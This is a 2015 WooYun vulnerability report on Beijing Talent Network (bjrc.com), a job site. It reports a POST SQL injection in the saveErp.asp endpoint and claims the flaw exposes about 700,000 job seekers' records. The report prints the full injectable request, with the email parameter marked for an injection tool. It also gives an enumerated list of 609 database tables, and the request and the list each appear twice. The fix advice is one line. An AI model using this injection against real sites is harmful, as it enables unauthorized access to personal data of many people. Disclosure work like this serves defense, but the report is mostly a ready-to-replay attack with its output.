当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138320

漏洞标题:北京人才网存在SQL注入漏洞可导致70w招聘者信息泄漏

相关厂商:北京人才网

漏洞作者: 路人甲

提交时间:2015-09-01 11:51

修复时间:2015-10-16 11:52

公开时间:2015-10-16 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某人才网存在sql注入

详细说明:

http://www.bjrc.com/erp/erpReg.asp存在POST注入

POST /erp/saveErp.asp HTTP/1.1
Host: www.bjrc.com
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.bjrc.com/
Cookie: ASPSESSIONIDSQQCBBSA=LIGNGGLDILCBKOKCOOJLHILJ
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: */*
address=3137%20Laguna%20Street&danwei=1&email=JdDUEW0C*&link=1&r1=%d2%bb%b8%f6%d4%c2&Submit=%cc%e1%bd%bb&tel=555-666-0606&yzm=1&zip=94102


QQ截图20150901110609.png


Database: rc2007
[609 tables]
+--------------------------------+
| 2014CSFZCJ |
| 2014CSFZCJ_S |
| 2014gyxzph0917 |
| 22 |
| 22w |
| BH_TblRunLog |
| BH_tblAdmin |
| BH_tblBill |
| BH_tblBillDelInfo |
| BH_tblBillTotal |
| BH_tblDepartment |
| BH_tblEvent |
| BH_tblHallInfo |
| BH_tblOrder |
| BH_tblPlaceInfo |
| BH_tblPoint |
| BH_tblPointKind |
| BH_tblPointTotal |
| BH_tblPurview |
| BH_tblSource |
| BH_tblSysSet |
| BH_tblTradeCode |
| BH_tblUsrGrp |
| BSH_tblAdmin |
| BSH_tblAdminAction |
| BSH_tblAdminLog |
| BSH_tblInfo |
| BSH_tblInfoAnnex |
| BSH_tblInfoClass |
| BSH_tblUnsafeIP |
| DSC_Research |
| Deletegr_letter0 |
| Deletegr_letter2 |
| EE_tblPractice |
| EE_tblUsrDisposition |
| EE_tblUsrInfo |
| EE_tblUsrResumeSend |
| F_tblticket |
| M_adInfo |
| M_adQHInfo |
| Results |
| Sheet1$ |
| Sms_no3 |
| TblSms |
| TblUsrInfo_FuJia |
| Tra_Courseware |
| Tra_Extend |
| Tra_Field |
| Tra_Inside |
| Tra_Institution |
| Tra_Need |
| Tra_Open |
| Tra_Opinion |
| Tra_Place |
| Tra_PlaceInfo |
| Tra_Teacher |
| Tra_Teacher_Article |
| Tra_UserPoint |
| Tra_adinfo |
| Tra_insti_wenzhang |
| VIEW1 |
| VIEW2 |
| VIEW20130517 |
| VIEW20130517b |
| VIEW3 |
| VIEW_20130318 |
| VIEW_20130805 |
| VIEW_20130805b |
| VIEW_20130805c |
| VIEW_20130826 |
| VIEW_Lecture |
| VIEW_MaxEduDegree |
| VIEW_Position |
| VIEW_ZCYC |
| VIEW_temp |
| VIEW_test |
| VIEW_vErpid |
| VIEW_vErpid20140414 |
| VIEW_xl |
| V_DFJH_CB20 |
| V_DFJH_CB21 |
| V_DFJH_CB33 |
| View_BH_Order |
| View_HFInfo |
| View_HFInfo_His |
| View_linshi_20120918_dw |
| View_linshi_20120918_gr |
| View_linshi_20120918_xc |
| View_maxEduId |
| X_2067 |
| VIEW-1 |
| VIEW-2 |
| VIEW4-temphf |
| jiyao-an-060119-bak |
| jiyao-an-060119 |
| jiyao-an-060330 |
| jiyao-an-060517 |
| jiyao-an-060630 |
| jiyao-an-1026 |
| jiyao-an-1108 |
| jiyao-w-0727 |
| jiyao-w-0801 |
| jiyao-w-0825 |
| jiyao-w-1028 |
| sfz-an-0310 |
| sfz-wen-0124 |
| sfz-wen-0310 |
| tblMedia-back |
| tblUsrQA-back |
| area |
| bianhao |
| ceping_person |
| ceping_question |
| ceping_report |
| ceping_result |
| chat_change |
| chat_function |
| chat_gbook |
| chat_kill |
| chenb_ad |
| cl_0524w |
| czdw |
| daima |
| daima_gzdd |
| daima_gzfs |
| daima_mz |
| daima_sf |
| daima_syz |
| daima_xb |
| daima_xk |
| daima_xl |
| daima_yxq |
| daima_zh |
| daima_zw |
| daima_zy |
| daima_zyzl |
| dangan_cdcx |
| dangan_tongzhi |
| dangan_tongzhi2 |
| dangan_tz_hander |
| data_syn |
| database_syn |
| dbtable_user |
| dd |
| dianhua |
| dianhua_gz |
| dianhua_hander |
| dict_major |
| dl_tblInfo |
| dl_tblInfoAnnex |
| dl_tblInfoClass |
| dl_tbltemp |
| dmtcx_print_list |
| dtproperties |
| dw_diaocha |
| dw_hwprint_rc |
| dw_print_rc |
| dw_searchsave |
| dwcxmsqx |
| dwczqk |
| dwhcxx |
| dwjbxx |
| dwjbxx2 |
| dwjbxx_zw |
| dwjbxxpx |
| dwlmqx |
| dwzp_zw_tj |
| dwzp_zy_tj |
| dwzpxx2 |
| eWebEditor_Button |
| eWebEditor_Style |
| eWebEditor_System |
| eWebEditor_ToolBar |
| expense |
| findjob |
| fw_ad |
| gr_diaocha |
| gr_letter |
| gsgl_rcjbxx |
| gund_xinxi |
| guoning_AdLog |
| guoning_adLocation |
| guoning_adSort |
| guoning_adUser |
| guoning_adinfo |
| heige |
| history_dangan |
| hw_print_list |
| hyrc_ad |
| jg_diaocha |
| jg_quest |
| jhsb_ad |
| jiyao_an_0801 |
| jiyao_an_0818 |
| jiyao_an_0825 |
| jiyao_an_0920 |
| jiyao_an_1011 |
| jiyao_kf |
| jiyao_w_0715 |
| jiyaoan060216 |
| jiyda |
| jiyda0628 |
| jiyda0719 |
| jltdjl |
| job |
| jp_ad |
| jzzdxx |
| layer |
| linshi20120918 |
| linshi20120918znzw |
| location |
| luohu_md |
| luohu_md_kf |
| luohu_whg |
| major |
| manager |
| mark |
| menu_item |
| menu_right |
| messages |
| operator_info |
| operator_type |
| paper_article |
| paper_catalogue |
| paper_copy |
| para |
| position |
| print_arrange |
| print_history |
| px_tblInfo |
| px_tblInfoAnnex |
| px_tblInfoClass |
| query_mode |
| qy_qysousuoqi |
| qy_sousuoqi |
| rc_czrz |
| rc_deng_ji_hao |
| rc_diaocha |
| rc_print_history |
| rcczrz |
| rcgzdd |
| rcgzjl |
| rcgzjl2 |
| rcjbxx2 |
| rcjehf |
| rcphoto |
| rcphoto_1 |
| rcpxqk |
| rcqz_zw_tj |
| rcqz_zy_tj |
| rcqzxz |
| rcsc_zp |
| rcxjyx |
| rcxwzc |
| rczphui |
| rczwyx |
| recruitmeet |
| resume_xb |
| sc_tuiguangbu_ad |
| scb_ad |
| scb_ad_20100401 |
| scb_person |
| searchsave |
| server_type |
| settime |
| sfz_an_0830 |
| shebao_yiliao |
| shebao_yldqf |
| shebao_ylqf |
| shebao_zhufang |
| sjtjxx |
| sms_interview |
| sms_log |
| sms_queue |
| sms_verp_edate |
| student_2008 |
| sys_opera |
| sysconstraints |
| sysdate |
| syssegments |
| system |
| system_set |
| systeminit |
| t_Countryhr |
| t_allzpcount |
| t_chattype |
| t_ckjllimit |
| t_cpyuyue |
| t_dabx |
| t_daima_xxdz |
| t_dangyuan |
| t_danwei_fwcs |
| t_dlgr |
| t_dlqy |
| t_dwxgmm |
| t_dy_hwlx |
| t_dy_hwlx1 |
| t_fangwen_csxs |
| t_fangwen_jgrch |
| t_fangwencishu1 |
| t_fangwenjishu |
| t_goodgraduate |
| t_gr_zpgl |
| t_grxxdz |
| t_gxgg |
| t_gxqk |
| t_gxyx |
| t_gxyxzy |
| t_hot |
| t_ht_test |
| t_ht_test_d |
| t_ht_test_di |
| t_ht_test_i |
| t_htzh |
| t_htzh_luru |
| t_jiaozhu |
| t_lasturl |
| t_lddy_board |
| t_lddy_forum |
| t_lddy_xx |
| t_lddyforum_user |
| t_lddyhdrc |
| t_lddyxd |
| t_longtest |
| t_lx_board |
| t_lx_forum |
| t_lx_hzsq |
| t_lxlt_user |
| t_lxxx |
| t_mfxx |
| t_numlimit |
| t_photo_example |
| t_pindaofwjs |
| t_qyly |
| t_qyyuyue |
| t_rcxwzc |
| t_rcxwzc_1 |
| t_rczx |
| t_scdczdb |
| t_syfwjs |
| t_tj_gqgx |
| t_wenzhang |
| t_wsfwnb |
| t_xbkf |
| t_xxdz |
| t_xxdz_dw |
| t_xxdz_zp |
| t_xxdz_zp_dw |
| t_xxsq |
| t_yuejian |
| t_zhengfu_news |
| t_zhibu |
| t_zhizhao |
| t_zhuancai |
| t_zy_zhaopin |
| tab_agebh |
| tab_bh_tj_age |
| tab_bh_tj_dwdd |
| tab_bh_tj_dwxz |
| tab_bh_tj_xl |
| tab_bh_tj_zw |
| tab_nian_tj_baozhan |
| tab_number |
| tab_rent |
| tab_specialty |
| tab_tj_age |
| tab_tj_sex |
| tab_yue_tj_baozhan |
| tab_zph_dw_rc_list |
| tab_zph_rc_list |
| tab_zph_rent_gl |
| tab_zphrq |
| tblAdOrder |
| tblAddress |
| tblAddress_bj |
| tblAddress_lei |
| tblAdmin |
| tblAdminAction |
| tblAdminLevel |
| tblAdminLog |
| tblAppointment |
| tblArticle |
| tblArticleClass |
| tblCareer |
| tblClan |
| tblCompability |
| tblContinuesOrder |
| tblCurrent |
| tblDSTV |
| tblDrvpaper |
| tblEduBG |
| tblEncryptField |
| tblErpChange |
| tblErpInfo |
| tblErpInfo_History |
| tblErpInfo_dahui |
| tblErpInvite |
| tblErpInvite_History |
| tblErpInvite_TEMP |
| tblErpLog |
| tblErpOpLog |
| tblErpPhoto |
| tblErpPhoto_logo |
| tblErpQuestion |
| tblErpResumeSend |
| tblErpSearch |
| tblErpSet |
| tblErpViewReg |
| tblErpZhaoPin |
| tblHFInfo |
| tblHFType |
| tblInfo |
| tblInfoAnnex |
| tblInfoClass |
| tblInterviews |
| tblInterviewsNews |
| tblLanguage |
| tblMarry |
| tblMedia |
| tblMediaClass |
| tblNation |
| tblOperator |
| tblOperatorold |
| tblOrder |
| tblPassLog |
| tblPersonType |
| tblPosition |
| tblPosition20121102 |
| tblPositionSet |
| tblProvince |
| tblReport |
| tblReportClass |
| tblSMSAddMoney |
| tblSMSbulletin |
| tblSalary |
| tblShiFang |
| tblSpeciality |
| tblSysSet |
| tblTemp |
| tblUnsafeIP |
| tblUploadDataInfo |
| tblUserStation |
| tblUserType |
| tblUsrAnnex |
| tblUsrBBS |
| tblUsrEdu |
| tblUsrEduBg |
| tblUsrEduBgTemp |
| tblUsrFavorite |
| tblUsrFeedback |
| tblUsrFocusErp |
| tblUsrImage |
| tblUsrInfo |
| tblUsrInterview |
| tblUsrJobIntent |
| tblUsrMessageSwitch |
| tblUsrPushPosition |
| tblUsrQA |
| tblUsrRelateBaidu |
| tblUsrResumeSend |
| tblUsrSeachLog |
| tblUsrSelect |
| tblUsrSms |
| tblUsrSubscribe |
| tblUsrWhoRead |
| tblUsrWrkHty |
| tblVocation |
| tblWorkHis |
| tblWorkLog |
| tblWorkMode |
| tblWorkYear |
| tblWorkerAuth |
| tblZhaoPinHui |
| tblZhiCheng |
| tbl_2014GYX_ZPH_DC |
| tbl_2014GYX_ZPH_Info |
| tbl_2014_GYXInfo |
| tbl_2014_GYX_DC |
| tbl_BH_Order |
| tbl_BYSInfo |
| tbl_BYS_Fwjs |
| tbl_DL_ldgxxty |
| tbl_DSTAdmin |
| tbl_ErpSBK |
| tbl_ErpSort |
| tbl_Erp_SBKLQ |
| tbl_GR_SBKLQ |
| tbl_HY |
| tbl_HYSort |
| tbl_ImgNews |
| tbl_ImgNewsSort |
| tbl_LS_vErpinfo |
| tbl_Lecture |
| tbl_Lecture_Erp |
| tbl_Lecture_Evaluation |
| tbl_Lecture_Speaker |
| tbl_Lecture_Usr |
| tbl_Nature |
| tbl_PageVisCount |
| tbl_SBK |
| tbl_SafeStr |
| tbl_Safelog |
| tbl_ScbInfo |
| tbl_TelInfo |
| tbl_TelInit |
| tbl_Usrinfo_Market |
| tbl_WeekDay |
| tbl_ZhiNeng |
| tbl_diaocha_app |
| tbl_diaocha_danwei_0706 |
| tbl_diaocha_geren_0706 |
| tbl_diaocha_peixun_0902 |
| tbl_gsxy |
| tbl_question |
| tbl_slogan |
| tbl_xczs_chaxun |
| tbl_ycCount |
| tblvNature |
| text_out_list |
| tra_fabu_point |
| tra_hot |
| tra_inside_pic |
| tra_open_hot |
| tra_xufei |
| try |
| unit_xb |
| user |
| user1 |
| user_item |
| user_type |
| v_dw_zph_info |
| v_dwxx_zpxx |
| v_rcjbxx |
| v_rcqz_dwsyz |
| v_rcqz_gzdd |
| v_rcqz_gzfs |
| w_1101_shen |
| weekday |
| wenshenfenzheng |
| xb_ad |
| yiliao |
| yingcai |
| yingcai_n |
| yonghg_ad |
| yzpwjj |
| zc2002 |
| zhanwzt |
| zhgj_ad |
| zhijieErpInfo |
| zhijieErpInvite |
| zhijieErpSet |
| zhijieLog |
| zhijieLogTmp |
| zhijieUsrEdu |
| zhijieUsrEduBg |
| zhijieUsrImage |
| zhijieUsrInfo |
| zhijieUsrInfo_FuJia |
| zhijieUsrJobIntent |
| zhijieUsrWrkHty |
| zhonggc_ad |
| zhongj |
| zhongj_ad |
| zhufang |
| zphxx |
| zwcx |
| zwxx |
| zwzpxx |
| zwzt |
| zy_zhaopin |
| zy_zhuancai |
| zyq_ad |
| 퍾鱧 |
| 퍾鱧20031024 |
| guoning.View_OG |
| guoning.View_temp20130325 |
| guoning.daima_OGbkzw |
| guoning.daima_zzmm |
| guoning.naturetemp |
| guoning.tblInnerUsr |
| wangjia.2014gyxJZchdw |
| wangjia.2014gyxZPHchdw |
| wangjia.2014jz_hmd |
| wangjia.gund_xinxi090309 |
| wangjia.linshi20110301scb_ad |
| wangjia.linshi20110520 |
| wangjia.linshi20110520a |
| wangjia.linshi20110520b |
| wangjia.linshi20120918zhineng |
| wangjia.linshi20131127 |
| wangjia.linshi20131127b |
| wangjia.linshi20140224 |
| wangjia.linshi20140312 |
| wangjia.linshi20140318 |
| wangjia.linshi20140429 |
| wangjia.linshi20140526 |
| wangjia.linshi20140619 |
| wangjia.linshi20140716 |
| wangjia.linshi20140925GQH |
| wangjia.linshi20141008 |
| wangjia.newold_position |
| wangjia.newold_zhineng |
| wangjia.scb_ad090226 |
| wangjia.sms_queue20131009 |
| wangjia.t_pindaofwjs_History |
| wangjia.tblAdmin20130115 |
| wangjia.tblSalary_B |
| wangjia.tblUserStation20121029 |
| wangjia.tbl_BH_Order20130220 |
+--------------------------------+


QQ图片20150901111648.png


漏洞证明:

http://www.bjrc.com/erp/erpReg.asp存在POST注入

POST /erp/saveErp.asp HTTP/1.1
Host: www.bjrc.com
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.bjrc.com/
Cookie: ASPSESSIONIDSQQCBBSA=LIGNGGLDILCBKOKCOOJLHILJ
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: */*
address=3137%20Laguna%20Street&danwei=1&email=JdDUEW0C*&link=1&r1=%d2%bb%b8%f6%d4%c2&Submit=%cc%e1%bd%bb&tel=555-666-0606&yzm=1&zip=94102


QQ截图20150901110609.png


Database: rc2007
[609 tables]
+--------------------------------+
| 2014CSFZCJ |
| 2014CSFZCJ_S |
| 2014gyxzph0917 |
| 22 |
| 22w |
| BH_TblRunLog |
| BH_tblAdmin |
| BH_tblBill |
| BH_tblBillDelInfo |
| BH_tblBillTotal |
| BH_tblDepartment |
| BH_tblEvent |
| BH_tblHallInfo |
| BH_tblOrder |
| BH_tblPlaceInfo |
| BH_tblPoint |
| BH_tblPointKind |
| BH_tblPointTotal |
| BH_tblPurview |
| BH_tblSource |
| BH_tblSysSet |
| BH_tblTradeCode |
| BH_tblUsrGrp |
| BSH_tblAdmin |
| BSH_tblAdminAction |
| BSH_tblAdminLog |
| BSH_tblInfo |
| BSH_tblInfoAnnex |
| BSH_tblInfoClass |
| BSH_tblUnsafeIP |
| DSC_Research |
| Deletegr_letter0 |
| Deletegr_letter2 |
| EE_tblPractice |
| EE_tblUsrDisposition |
| EE_tblUsrInfo |
| EE_tblUsrResumeSend |
| F_tblticket |
| M_adInfo |
| M_adQHInfo |
| Results |
| Sheet1$ |
| Sms_no3 |
| TblSms |
| TblUsrInfo_FuJia |
| Tra_Courseware |
| Tra_Extend |
| Tra_Field |
| Tra_Inside |
| Tra_Institution |
| Tra_Need |
| Tra_Open |
| Tra_Opinion |
| Tra_Place |
| Tra_PlaceInfo |
| Tra_Teacher |
| Tra_Teacher_Article |
| Tra_UserPoint |
| Tra_adinfo |
| Tra_insti_wenzhang |
| VIEW1 |
| VIEW2 |
| VIEW20130517 |
| VIEW20130517b |
| VIEW3 |
| VIEW_20130318 |
| VIEW_20130805 |
| VIEW_20130805b |
| VIEW_20130805c |
| VIEW_20130826 |
| VIEW_Lecture |
| VIEW_MaxEduDegree |
| VIEW_Position |
| VIEW_ZCYC |
| VIEW_temp |
| VIEW_test |
| VIEW_vErpid |
| VIEW_vErpid20140414 |
| VIEW_xl |
| V_DFJH_CB20 |
| V_DFJH_CB21 |
| V_DFJH_CB33 |
| View_BH_Order |
| View_HFInfo |
| View_HFInfo_His |
| View_linshi_20120918_dw |
| View_linshi_20120918_gr |
| View_linshi_20120918_xc |
| View_maxEduId |
| X_2067 |
| VIEW-1 |
| VIEW-2 |
| VIEW4-temphf |
| jiyao-an-060119-bak |
| jiyao-an-060119 |
| jiyao-an-060330 |
| jiyao-an-060517 |
| jiyao-an-060630 |
| jiyao-an-1026 |
| jiyao-an-1108 |
| jiyao-w-0727 |
| jiyao-w-0801 |
| jiyao-w-0825 |
| jiyao-w-1028 |
| sfz-an-0310 |
| sfz-wen-0124 |
| sfz-wen-0310 |
| tblMedia-back |
| tblUsrQA-back |
| area |
| bianhao |
| ceping_person |
| ceping_question |
| ceping_report |
| ceping_result |
| chat_change |
| chat_function |
| chat_gbook |
| chat_kill |
| chenb_ad |
| cl_0524w |
| czdw |
| daima |
| daima_gzdd |
| daima_gzfs |
| daima_mz |
| daima_sf |
| daima_syz |
| daima_xb |
| daima_xk |
| daima_xl |
| daima_yxq |
| daima_zh |
| daima_zw |
| daima_zy |
| daima_zyzl |
| dangan_cdcx |
| dangan_tongzhi |
| dangan_tongzhi2 |
| dangan_tz_hander |
| data_syn |
| database_syn |
| dbtable_user |
| dd |
| dianhua |
| dianhua_gz |
| dianhua_hander |
| dict_major |
| dl_tblInfo |
| dl_tblInfoAnnex |
| dl_tblInfoClass |
| dl_tbltemp |
| dmtcx_print_list |
| dtproperties |
| dw_diaocha |
| dw_hwprint_rc |
| dw_print_rc |
| dw_searchsave |
| dwcxmsqx |
| dwczqk |
| dwhcxx |
| dwjbxx |
| dwjbxx2 |
| dwjbxx_zw |
| dwjbxxpx |
| dwlmqx |
| dwzp_zw_tj |
| dwzp_zy_tj |
| dwzpxx2 |
| eWebEditor_Button |
| eWebEditor_Style |
| eWebEditor_System |
| eWebEditor_ToolBar |
| expense |
| findjob |
| fw_ad |
| gr_diaocha |
| gr_letter |
| gsgl_rcjbxx |
| gund_xinxi |
| guoning_AdLog |
| guoning_adLocation |
| guoning_adSort |
| guoning_adUser |
| guoning_adinfo |
| heige |
| history_dangan |
| hw_print_list |
| hyrc_ad |
| jg_diaocha |
| jg_quest |
| jhsb_ad |
| jiyao_an_0801 |
| jiyao_an_0818 |
| jiyao_an_0825 |
| jiyao_an_0920 |
| jiyao_an_1011 |
| jiyao_kf |
| jiyao_w_0715 |
| jiyaoan060216 |
| jiyda |
| jiyda0628 |
| jiyda0719 |
| jltdjl |
| job |
| jp_ad |
| jzzdxx |
| layer |
| linshi20120918 |
| linshi20120918znzw |
| location |
| luohu_md |
| luohu_md_kf |
| luohu_whg |
| major |
| manager |
| mark |
| menu_item |
| menu_right |
| messages |
| operator_info |
| operator_type |
| paper_article |
| paper_catalogue |
| paper_copy |
| para |
| position |
| print_arrange |
| print_history |
| px_tblInfo |
| px_tblInfoAnnex |
| px_tblInfoClass |
| query_mode |
| qy_qysousuoqi |
| qy_sousuoqi |
| rc_czrz |
| rc_deng_ji_hao |
| rc_diaocha |
| rc_print_history |
| rcczrz |
| rcgzdd |
| rcgzjl |
| rcgzjl2 |
| rcjbxx2 |
| rcjehf |
| rcphoto |
| rcphoto_1 |
| rcpxqk |
| rcqz_zw_tj |
| rcqz_zy_tj |
| rcqzxz |
| rcsc_zp |
| rcxjyx |
| rcxwzc |
| rczphui |
| rczwyx |
| recruitmeet |
| resume_xb |
| sc_tuiguangbu_ad |
| scb_ad |
| scb_ad_20100401 |
| scb_person |
| searchsave |
| server_type |
| settime |
| sfz_an_0830 |
| shebao_yiliao |
| shebao_yldqf |
| shebao_ylqf |
| shebao_zhufang |
| sjtjxx |
| sms_interview |
| sms_log |
| sms_queue |
| sms_verp_edate |
| student_2008 |
| sys_opera |
| sysconstraints |
| sysdate |
| syssegments |
| system |
| system_set |
| systeminit |
| t_Countryhr |
| t_allzpcount |
| t_chattype |
| t_ckjllimit |
| t_cpyuyue |
| t_dabx |
| t_daima_xxdz |
| t_dangyuan |
| t_danwei_fwcs |
| t_dlgr |
| t_dlqy |
| t_dwxgmm |
| t_dy_hwlx |
| t_dy_hwlx1 |
| t_fangwen_csxs |
| t_fangwen_jgrch |
| t_fangwencishu1 |
| t_fangwenjishu |
| t_goodgraduate |
| t_gr_zpgl |
| t_grxxdz |
| t_gxgg |
| t_gxqk |
| t_gxyx |
| t_gxyxzy |
| t_hot |
| t_ht_test |
| t_ht_test_d |
| t_ht_test_di |
| t_ht_test_i |
| t_htzh |
| t_htzh_luru |
| t_jiaozhu |
| t_lasturl |
| t_lddy_board |
| t_lddy_forum |
| t_lddy_xx |
| t_lddyforum_user |
| t_lddyhdrc |
| t_lddyxd |
| t_longtest |
| t_lx_board |
| t_lx_forum |
| t_lx_hzsq |
| t_lxlt_user |
| t_lxxx |
| t_mfxx |
| t_numlimit |
| t_photo_example |
| t_pindaofwjs |
| t_qyly |
| t_qyyuyue |
| t_rcxwzc |
| t_rcxwzc_1 |
| t_rczx |
| t_scdczdb |
| t_syfwjs |
| t_tj_gqgx |
| t_wenzhang |
| t_wsfwnb |
| t_xbkf |
| t_xxdz |
| t_xxdz_dw |
| t_xxdz_zp |
| t_xxdz_zp_dw |
| t_xxsq |
| t_yuejian |
| t_zhengfu_news |
| t_zhibu |
| t_zhizhao |
| t_zhuancai |
| t_zy_zhaopin |
| tab_agebh |
| tab_bh_tj_age |
| tab_bh_tj_dwdd |
| tab_bh_tj_dwxz |
| tab_bh_tj_xl |
| tab_bh_tj_zw |
| tab_nian_tj_baozhan |
| tab_number |
| tab_rent |
| tab_specialty |
| tab_tj_age |
| tab_tj_sex |
| tab_yue_tj_baozhan |
| tab_zph_dw_rc_list |
| tab_zph_rc_list |
| tab_zph_rent_gl |
| tab_zphrq |
| tblAdOrder |
| tblAddress |
| tblAddress_bj |
| tblAddress_lei |
| tblAdmin |
| tblAdminAction |
| tblAdminLevel |
| tblAdminLog |
| tblAppointment |
| tblArticle |
| tblArticleClass |
| tblCareer |
| tblClan |
| tblCompability |
| tblContinuesOrder |
| tblCurrent |
| tblDSTV |
| tblDrvpaper |
| tblEduBG |
| tblEncryptField |
| tblErpChange |
| tblErpInfo |
| tblErpInfo_History |
| tblErpInfo_dahui |
| tblErpInvite |
| tblErpInvite_History |
| tblErpInvite_TEMP |
| tblErpLog |
| tblErpOpLog |
| tblErpPhoto |
| tblErpPhoto_logo |
| tblErpQuestion |
| tblErpResumeSend |
| tblErpSearch |
| tblErpSet |
| tblErpViewReg |
| tblErpZhaoPin |
| tblHFInfo |
| tblHFType |
| tblInfo |
| tblInfoAnnex |
| tblInfoClass |
| tblInterviews |
| tblInterviewsNews |
| tblLanguage |
| tblMarry |
| tblMedia |
| tblMediaClass |
| tblNation |
| tblOperator |
| tblOperatorold |
| tblOrder |
| tblPassLog |
| tblPersonType |
| tblPosition |
| tblPosition20121102 |
| tblPositionSet |
| tblProvince |
| tblReport |
| tblReportClass |
| tblSMSAddMoney |
| tblSMSbulletin |
| tblSalary |
| tblShiFang |
| tblSpeciality |
| tblSysSet |
| tblTemp |
| tblUnsafeIP |
| tblUploadDataInfo |
| tblUserStation |
| tblUserType |
| tblUsrAnnex |
| tblUsrBBS |
| tblUsrEdu |
| tblUsrEduBg |
| tblUsrEduBgTemp |
| tblUsrFavorite |
| tblUsrFeedback |
| tblUsrFocusErp |
| tblUsrImage |
| tblUsrInfo |
| tblUsrInterview |
| tblUsrJobIntent |
| tblUsrMessageSwitch |
| tblUsrPushPosition |
| tblUsrQA |
| tblUsrRelateBaidu |
| tblUsrResumeSend |
| tblUsrSeachLog |
| tblUsrSelect |
| tblUsrSms |
| tblUsrSubscribe |
| tblUsrWhoRead |
| tblUsrWrkHty |
| tblVocation |
| tblWorkHis |
| tblWorkLog |
| tblWorkMode |
| tblWorkYear |
| tblWorkerAuth |
| tblZhaoPinHui |
| tblZhiCheng |
| tbl_2014GYX_ZPH_DC |
| tbl_2014GYX_ZPH_Info |
| tbl_2014_GYXInfo |
| tbl_2014_GYX_DC |
| tbl_BH_Order |
| tbl_BYSInfo |
| tbl_BYS_Fwjs |
| tbl_DL_ldgxxty |
| tbl_DSTAdmin |
| tbl_ErpSBK |
| tbl_ErpSort |
| tbl_Erp_SBKLQ |
| tbl_GR_SBKLQ |
| tbl_HY |
| tbl_HYSort |
| tbl_ImgNews |
| tbl_ImgNewsSort |
| tbl_LS_vErpinfo |
| tbl_Lecture |
| tbl_Lecture_Erp |
| tbl_Lecture_Evaluation |
| tbl_Lecture_Speaker |
| tbl_Lecture_Usr |
| tbl_Nature |
| tbl_PageVisCount |
| tbl_SBK |
| tbl_SafeStr |
| tbl_Safelog |
| tbl_ScbInfo |
| tbl_TelInfo |
| tbl_TelInit |
| tbl_Usrinfo_Market |
| tbl_WeekDay |
| tbl_ZhiNeng |
| tbl_diaocha_app |
| tbl_diaocha_danwei_0706 |
| tbl_diaocha_geren_0706 |
| tbl_diaocha_peixun_0902 |
| tbl_gsxy |
| tbl_question |
| tbl_slogan |
| tbl_xczs_chaxun |
| tbl_ycCount |
| tblvNature |
| text_out_list |
| tra_fabu_point |
| tra_hot |
| tra_inside_pic |
| tra_open_hot |
| tra_xufei |
| try |
| unit_xb |
| user |
| user1 |
| user_item |
| user_type |
| v_dw_zph_info |
| v_dwxx_zpxx |
| v_rcjbxx |
| v_rcqz_dwsyz |
| v_rcqz_gzdd |
| v_rcqz_gzfs |
| w_1101_shen |
| weekday |
| wenshenfenzheng |
| xb_ad |
| yiliao |
| yingcai |
| yingcai_n |
| yonghg_ad |
| yzpwjj |
| zc2002 |
| zhanwzt |
| zhgj_ad |
| zhijieErpInfo |
| zhijieErpInvite |
| zhijieErpSet |
| zhijieLog |
| zhijieLogTmp |
| zhijieUsrEdu |
| zhijieUsrEduBg |
| zhijieUsrImage |
| zhijieUsrInfo |
| zhijieUsrInfo_FuJia |
| zhijieUsrJobIntent |
| zhijieUsrWrkHty |
| zhonggc_ad |
| zhongj |
| zhongj_ad |
| zhufang |
| zphxx |
| zwcx |
| zwxx |
| zwzpxx |
| zwzt |
| zy_zhaopin |
| zy_zhuancai |
| zyq_ad |
| 퍾鱧 |
| 퍾鱧20031024 |
| guoning.View_OG |
| guoning.View_temp20130325 |
| guoning.daima_OGbkzw |
| guoning.daima_zzmm |
| guoning.naturetemp |
| guoning.tblInnerUsr |
| wangjia.2014gyxJZchdw |
| wangjia.2014gyxZPHchdw |
| wangjia.2014jz_hmd |
| wangjia.gund_xinxi090309 |
| wangjia.linshi20110301scb_ad |
| wangjia.linshi20110520 |
| wangjia.linshi20110520a |
| wangjia.linshi20110520b |
| wangjia.linshi20120918zhineng |
| wangjia.linshi20131127 |
| wangjia.linshi20131127b |
| wangjia.linshi20140224 |
| wangjia.linshi20140312 |
| wangjia.linshi20140318 |
| wangjia.linshi20140429 |
| wangjia.linshi20140526 |
| wangjia.linshi20140619 |
| wangjia.linshi20140716 |
| wangjia.linshi20140925GQH |
| wangjia.linshi20141008 |
| wangjia.newold_position |
| wangjia.newold_zhineng |
| wangjia.scb_ad090226 |
| wangjia.sms_queue20131009 |
| wangjia.t_pindaofwjs_History |
| wangjia.tblAdmin20130115 |
| wangjia.tblSalary_B |
| wangjia.tblUserStation20121029 |
| wangjia.tbl_BH_Order20130220 |
+--------------------------------+


QQ图片20150901111648.png


修复方案:

其他地方都过滤好了 这里也要过滤啊

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝